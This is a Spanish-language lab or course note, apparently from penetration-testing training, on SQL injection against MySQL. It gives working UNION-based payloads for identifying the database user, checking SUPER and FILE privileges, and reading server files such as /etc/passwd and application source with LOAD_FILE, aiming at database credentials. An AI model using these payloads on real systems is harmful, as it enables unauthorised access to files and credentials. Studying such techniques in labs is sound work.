SQLi – Lectura de Archivos y Privilegios (LOAD_FILE, USER, FILE)

📌 Introducción

Una vulnerabilidad de SQL Injection (SQLi) permite no solo consultar datos dentro de las bases de datos… sino también realizar acciones peligrosas como leer archivos del servidor, escribir archivos e incluso ejecutar código remoto, dependiendo del DBMS y los privilegios del usuario.

Riesgo

La lectura/escritura de archivos desde SQLi puede comprometer todo el sistema, permitiendo filtración de código fuente, credenciales y escalamiento de privilegios.


🔐 Privilegios necesarios

Leer archivos es mucho más común que escribirlos, ya que las operaciones de escritura están restringidas a usuarios privilegiados.

En MySQL/MariaDB, para usar funciones como LOAD_FILE() o escribir en disco, el usuario debe tener el privilegio FILE.


👤 Identificar el usuario actual en la base de datos

Para saber qué usuario de base de datos somos:

SELECT USER();
SELECT CURRENT_USER();
SELECT user FROM mysql.user;

Payload en la inyección:

cn' UNION SELECT 1, user(), 3, 4-- -

o:

cn' UNION SELECT 1, user, 3, 4 FROM mysql.user-- -

{EC17DFCE-888E-4918-9DB1-50992C1F5081}.png

Resultado

Usuario identificado como: root@localhost
Esto suele indicar acceso con privilegios elevados (DBA).


🛡️ Comprobación de privilegios

✔️ Privilegio de superadministrador (SUPER)

SELECT super_priv FROM mysql.user;

Payload:

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -

Para filtrar solo el usuario root:

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

{9E0CA048-C16E-4041-96C2-F3F18F9AAD64}.png
Resultado: Y → el usuario tiene privilegios de superusuario.


📜 Listar todos los privilegios del usuario

cn' UNION SELECT 1, grantee, privilege_type, 4 
FROM information_schema.user_privileges-- -

Filtrar por el usuario actual:

cn' UNION SELECT 1, grantee, privilege_type, 4 
FROM information_schema.user_privileges 
WHERE grantee="'root'@'localhost'"-- -

Pasted image 20251209181944.png

Privilegios relevantes detectados

  • SELECT

  • INSERT

  • UPDATE

  • FILE ← permite leer archivos del sistema


📁 Lectura de archivos con LOAD_FILE()

La función:

SELECT LOAD_FILE('/etc/passwd');

Payload en SQLi:

cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
Ejemplo de salida

{3E9DB70D-358C-4228-AA92-8424FFBF6515}.png

⚠️ Esto permite incluso filtrar código fuente de la aplicación.


📄 Leer código fuente del sitio

Sabemos que la aplicación vulnerable está en search.php.
Intentamos leer el archivo completo:

cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

El navegador renderizará el HTML.
Para ver código real: Ctrl + U.
{E7955F00-2E03-45D0-AB3F-6FC921A76A4E}.png
{C0190617-2127-4332-99BF-F8923780E283}.png

Tip

Revisar el código fuente puede revelar:

  • credenciales de base de datos

  • rutas sensibles

  • más vulnerabilidades

  • malas prácticas de validación


🕵️‍♂️ Revisión final del código PHP

El código PHP muestra que la variable $conn no está definida directamente.
Esto indica que se está incluyendo desde otro archivo mediante:

include("archivo.php");

Tarea

✔️ Revisar el archivo importado para obtener la contraseña de la base de datos.